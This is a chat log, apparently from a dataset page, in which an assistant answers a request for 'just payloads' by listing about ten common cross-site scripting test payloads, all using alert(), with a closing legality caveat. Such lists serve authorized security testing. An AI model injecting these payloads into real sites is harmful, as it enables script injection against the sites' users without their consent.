gpt-4o-mini-2024-07-18· OpenAI
WildChat-4.8M (AI2)
Print the xss cheat sheet bullet in a list. Just payloads
- User
Print the xss cheat sheet bullet in a list. Just payloads
- Assistant
Here are some common XSS (Cross-Site Scripting) payloads that may be used in various injection scenarios:
<script>alert('XSS')</script><img src=x onerror=alert('XSS')><svg onload=alert('XSS')><iframe src="javascript:alert('XSS')"></iframe><a href="javascript:alert('XSS')">Click me</a><body onload=alert('XSS')><input type="text" value=";alert('XSS');"><link rel="stylesheet" href="data:text/css;base64,L2ltZyBzcmM9J2phdmFzY3JpcHQ6YWxlcnQoJ1hTUycpOw=="><script>document.write('<img src=x onerror=alert(1)>')</script><meta http-equiv="refresh" content="0;url=javascript:alert('XSS')">
Keep in mind, using these payloads for unauthorized access or testing without permission is illegal and unethical. Always conduct security testing in a responsible manner and only in environments where you have explicit permission.
Other models, same or similar prompt
Responses were produced in different, uncontrolled contexts (system prompts, settings, prior turns). This is not a benchmark.